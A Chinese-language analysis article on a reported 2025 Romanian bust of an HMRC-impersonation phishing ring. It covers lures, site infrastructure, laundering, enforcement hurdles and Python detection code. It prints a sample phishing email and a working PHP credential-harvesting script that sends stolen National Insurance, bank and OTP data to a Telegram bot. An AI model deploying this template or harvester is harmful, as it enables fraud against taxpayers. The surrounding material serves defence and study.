
摘要
近年来,针对政府税务机构的网络钓鱼攻击呈现规模化、专业化和跨境化趋势。2025年7月,罗马尼亚警方在与英国税务海关总署(HMRC)联合行动中,成功逮捕13名涉嫌参与针对英国税务局的大规模钓鱼诈骗团伙成员。该团伙通过伪造官方通信渠道,诱导纳税人提交敏感身份与金融信息,非法获取数百万英镑资金,并利用多国基础设施进行洗钱操作。本文以此案为切入点,系统分析此类攻击的技术架构、社会工程策略及资金转移路径,结合网络取证与威胁情报方法,探讨当前国际执法协作中的技术障碍与制度瓶颈。文章进一步提出基于自动化邮件检测、域名信誉评估与行为日志关联分析的三层防御框架,并通过Python代码示例展示关键检测逻辑的实现。研究表明,有效遏制此类犯罪需强化技术标准统一、提升跨司法辖区数据共享效率,并推动公私部门在威胁情报交换中的深度协同。
关键词:网络钓鱼;HMRC;跨国网络犯罪;执法协作;邮件安全;域名仿冒
一、引言
网络钓鱼(Phishing)作为最古老且持续演化的网络攻击形式之一,其目标已从早期的个人账户窃取逐步转向高价值公共机构与关键基础设施。根据英国国家网络安全中心(NCSC)2024年度报告,针对税务、社保及医疗等公共服务部门的钓鱼事件同比增长37%,其中以仿冒英国税务海关总署(Her Majesty’s Revenue and Customs, HMRC)的案例最为突出。此类攻击不仅造成直接经济损失,更严重削弱公众对数字政府服务的信任基础。
2025年7月,罗马尼亚执法部门在欧盟刑警组织(Europol)协调下,联合英国HMRC刑事调查局,在布加勒斯特、克卢日-纳波卡等地同步开展突袭行动,逮捕13名嫌疑人。调查显示,该团伙自2023年起运营多个高度仿真的钓鱼网站,伪装成HMRC官方税务通知平台,诱导用户输入国民保险号(National Insurance Number)、银行账户及一次性验证码等敏感信息。据初步估算,涉案金额超过300万英镑,资金通过加密货币混币器及东欧空壳公司完成跨境转移。
此案凸显出当代网络钓鱼攻击的三大特征:一是技术手段高度模块化,攻击者可快速部署钓鱼页面并动态更换域名;二是社会工程设计精细化,邮件内容与官方通知高度相似,甚至包含真实案件编号;三是犯罪链条全球化,从服务器托管、支付接口到洗钱通道均分布于不同司法辖区,极大增加了追踪与取证难度。
现有研究多聚焦于钓鱼检测算法或用户行为干预策略,较少从跨国执法协作视角切入,尤其缺乏对具体案件中技术证据链构建过程的实证分析。本文旨在填补这一空白,通过解构HMRC钓鱼案的技术细节与执法响应机制,提出兼具技术可行性与制度适配性的综合防御路径。

二、攻击技术架构分析
(一)钓鱼邮件构造与投递机制
该团伙使用的钓鱼邮件通常以“税务退款通知”或“未缴税款提醒”为主题,发件人地址采用视觉混淆策略(visual spoofing),例如使用“hmrc-refund@hmrq.co.uk”或“noreply@hmrc-gov.uk”等近似域名。尽管这些域名未通过DMARC(Domain-based Message Authentication, Reporting & Conformance)验证,但由于部分邮箱服务商默认不强制执行严格策略,仍可成功投递至用户收件箱。
邮件正文采用HTML格式,嵌入伪造的HMRC官方徽标与排版样式,并包含一个指向钓鱼网站的按钮链接。值得注意的是,攻击者在邮件中刻意避免使用明显恶意关键词(如“立即点击”“账户将被冻结”),转而采用中性措辞:“请查看您的税务状态更新”,以规避基于关键词的垃圾邮件过滤器。
以下为一封典型钓鱼邮件的简化HTML结构示例:
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>HMRC Tax Update</title>
</head>
<body style="font-family: Arial, sans-serif; background-color: #f9f9f9;">
<div style="max-width: 600px; margin: 20px auto; padding: 20px; background: white; border: 1px solid #ddd;">
<img src="https://legit-cdn.example/hmrc-logo.png" alt="HMRC" width="150">
<h2>Your Tax Status Requires Attention</h2>
<p>Dear Taxpayer,</p>
<p>We have updated your tax record for the 2024–2025 fiscal year.
Please review your account to ensure accuracy.</p>
<a href="https://secure-hmrc-login[.]xyz/verify"
style="display: inline-block; padding: 10px 20px; background: #003366; color: white; text-decoration: none; border-radius: 4px;">
View Your Account
</a>
<p style="font-size: 12px; color: #666;">This is an automated message. Do not reply.</p>
</div>
</body>
</html>
上述代码中,<img>标签引用的图片虽托管于合法CDN,但链接指向的域名“secure-hmrc-login[.]xyz”为攻击者控制的钓鱼站点。此类设计可绕过部分基于发件人信誉的过滤机制。

(二)钓鱼网站部署与数据收集
钓鱼网站前端完全克隆HMRC官方登录界面,包括CSS样式、JavaScript交互逻辑及多语言支持。后端采用轻量级PHP脚本接收表单提交,并将窃取的数据通过Base64编码后POST至隐藏的Telegram Bot或通过Tor网络转发至C2服务器。
关键后端处理逻辑如下(简化版):
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$data = [
'nin' => $_POST['national_insurance'] ?? '',
'bank_account' => $_POST['bank_account'] ?? '',
'sort_code' => $_POST['sort_code'] ?? '',
'otp' => $_POST['otp'] ?? '',
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT']
];
// 数据清洗与简单验证
foreach ($data as $key => $value) {
$data[$key] = htmlspecialchars(trim($value), ENT_QUOTES, 'UTF-8');
}
// 发送至Telegram Bot(模拟)
$bot_token = '123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11';
$chat_id = '-1001234567890';
$message = "New HMRC Phish:\n" . json_encode($data, JSON_PRETTY_PRINT);
$url = "https://api.telegram.org/bot{$bot_token}/sendMessage";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['chat_id' => $chat_id, 'text' => $message]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
curl_close($ch);
// 重定向至真实HMRC官网以降低怀疑
header("Location: https://www.gov.uk/government/organisations/hm-revenue-customs");
exit;
}
?>
该脚本在收集数据后立即将用户重定向至真实HMRC页面,制造“操作成功”的假象,从而延长受害者发现异常的时间窗口。
(三)域名注册与基础设施隐蔽策略
调查显示,该团伙在2023年10月至2025年6月间注册了超过200个仿冒域名,主要使用.ru、.xyz、.top等低价TLD(顶级域)。注册信息全部伪造,且多数通过支持匿名支付的注册商完成。服务器托管则分散于保加利亚、摩尔多瓦及乌克兰的廉价VPS提供商,平均存活时间不足72小时。一旦某域名被标记为恶意,攻击者即启用备用域名并通过邮件列表重新投递。
此外,团伙使用Cloudflare等CDN服务隐藏真实IP,并启用HTTPS证书(通过Let’s Encrypt自动签发),使钓鱼网站在浏览器地址栏显示“安全锁”图标,进一步增强欺骗性。
三、资金转移与洗钱路径
窃取的银行账户信息被用于发起“授权推送支付”(Authorized Push Payment, APP)欺诈。攻击者冒充HMRC工作人员致电受害者,声称需“验证退款账户”,诱导其主动转账至指定账户。部分案例中,团伙直接利用窃取的网银凭证登录用户账户,设置新收款人并发起转账。
资金到账后,迅速通过以下路径清洗:
转入东欧地区(如拉脱维亚、爱沙尼亚)的离岸公司账户;
购买USDT等稳定币,经由混币器(如Tornado Cash)切断交易链;
在去中心化交易所(DEX)兑换为门罗币(Monero)等隐私币;
最终通过场外交易(OTC)兑换为现金或高流动性资产。
罗马尼亚警方在搜查中缴获多部加密手机、硬件钱包及记录有加密货币地址的纸质笔记,证实了上述洗钱链条的存在。
四、执法协作机制与技术挑战
(一)情报共享与联合行动
本案的成功破获依赖于HMRC与罗马尼亚国家警察总局(General Inspectorate of Romanian Police)之间的实时情报交换。HMRC通过其内部威胁情报平台识别出异常登录模式(如同一IP短时间内尝试多个NIN验证),并将可疑域名、IP地址及Telegram Bot ID提交至Europol的EC3(欧洲网络犯罪中心)。EC3协调各国CERT机构进行溯源,并协助罗马尼亚警方锁定服务器物理位置。
然而,协作过程中仍存在显著障碍:
法律程序差异:英国依据《调查权力法案》(IPA 2016)可申请数据保留令,而罗马尼亚需依据《刑事诉讼法》启动正式调查方可调取通信数据,导致响应延迟;
技术标准不统一:HMRC使用STIX/TAXII格式输出威胁指标,而罗马尼亚警方内部系统仅支持CSV导入,需人工转换;
语言与文化隔阂:部分Telegram聊天记录含罗马尼亚语俚语,需第三方翻译介入,影响分析效率。
(二)电子证据固定与跨境取证
在突袭行动中,警方对嫌疑人设备实施镜像取证,但面临加密存储(如BitLocker、VeraCrypt)破解难题。尽管欧盟《电子证据指令》(e-Evidence Regulation)已于2023年生效,允许成员国间直接向服务提供商调取数据,但本案涉及的Telegram、Cloudflare等公司注册地在美国,仍需通过MLAT(司法互助条约)途径请求协助,耗时长达数周。
五、防御体系构建:三层技术框架
为应对类似攻击,本文提出“邮件—域名—行为”三层联动防御框架。
(一)邮件层:增强认证与内容分析
建议所有政府机构强制实施DMARC策略(p=reject),并部署基于机器学习的邮件内容分析模型。以下Python代码示例展示如何结合SPF、DKIM验证结果与HTML特征判断邮件可信度:
import re
import dns.resolver
from email.mime.text import MIMEText
from email.parser import Parser
def check_spf(sender_ip, domain):
try:
answers = dns.resolver.resolve(domain, 'TXT')
for rdata in answers:
if 'v=spf1' in str(rdata):
spf_record = str(rdata).strip('"')
# 简化SPF验证逻辑
if sender_ip in spf_record or 'include:' in spf_record:
return True
return False
except:
return False
def is_phishy_html(html_content):
# 检测常见钓鱼特征
suspicious_patterns = [
r'secure-.*?hmrc', # 仿冒安全链接
r'view\s+your\s+account', # 诱导性按钮文本
r'<img[^>]+src=["\']https?://[^/]*\.(ru|xyz|top)/' # 非官方CDN
]
for pattern in suspicious_patterns:
if re.search(pattern, html_content, re.IGNORECASE):
return True
return False
def evaluate_email_risk(raw_email):
parser = Parser()
msg = parser.parsestr(raw_email)
from_addr = msg.get('From', '')
domain = from_addr.split('@')[-1] if '@' in from_addr else ''
# 假设已知发件服务器IP
sender_ip = "192.0.2.1" # 实际应从邮件头提取
spf_pass = check_spf(sender_ip, domain)
dkim_pass = True # 此处省略DKIM验证逻辑
html_part = ""
if msg.is_multipart():
for part in msg.walk():
if part.get_content_type() == "text/html":
html_part = part.get_payload(decode=True).decode('utf-8', errors='ignore')
break
else:
if msg.get_content_type() == "text/html":
html_part = msg.get_payload(decode=True).decode('utf-8', errors='ignore')
content_suspicious = is_phishy_html(html_part)
if not (spf_pass and dkim_pass) or content_suspicious:
return "High Risk"
else:
return "Low Risk"
(二)域名层:动态信誉评估
建立政府专属域名白名单,并对新注册的相似域名实施自动监控。可利用Levenshtein距离算法检测视觉混淆域名:
def levenshtein_distance(s1, s2):
if len(s1) < len(s2):
return levenshtein_distance(s2, s1)
if len(s2) == 0:
return len(s1)
previous_row = list(range(len(s2) + 1))
for i, c1 in enumerate(s1):
current_row = [i + 1]
for j, c2 in enumerate(s2):
insertions = previous_row[j + 1] + 1
deletions = current_row[j] + 1
substitutions = previous_row[j] + (c1 != c2)
current_row.append(min(insertions, deletions, substitutions))
previous_row = current_row
return previous_row[-1]
def is_typosquatting(candidate, official_domain="hmrc.gov.uk"):
base = official_domain.split('.')[0] # "hmrc"
cand_base = candidate.split('.')[0]
if levenshtein_distance(base, cand_base) <= 2 and candidate != official_domain:
return True
return False
# 示例
print(is_typosquatting("hmrq.co.uk")) # True
print(is_typosquatting("tax.service.gov.uk")) # False
(三)行为层:用户操作异常检测
在税务系统后端部署行为分析模块,监测异常登录序列。例如,同一NIN在短时间内从不同国家IP登录,或输入OTP失败次数超过阈值,应触发二次验证或人工审核。
六、结论
罗马尼亚破获的HMRC钓鱼诈骗案揭示了当代网络犯罪的高度组织化与技术适应性。攻击者不仅精通社会工程与Web开发,更善于利用全球数字基础设施的监管缝隙实施犯罪。单纯依赖技术防护已不足以应对,必须构建“技术—法律—协作”三位一体的治理体系。
在技术层面,政府机构应强制实施邮件认证标准,部署自动化钓鱼检测工具,并建立动态域名监控机制。在制度层面,需推动跨国电子证据调取程序的简化,统一威胁情报交换格式。在协作层面,鼓励公私合作,如银行、电信运营商与执法部门共享可疑交易与通信模式。
未来研究可进一步探索AI生成内容(AIGC)在钓鱼邮件中的应用趋势,以及量子计算对现有加密取证方法的潜在冲击。唯有持续迭代防御策略,方能在攻防对抗中保持主动。
编辑:芦笛(公共互联网反网络钓鱼工作组)
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。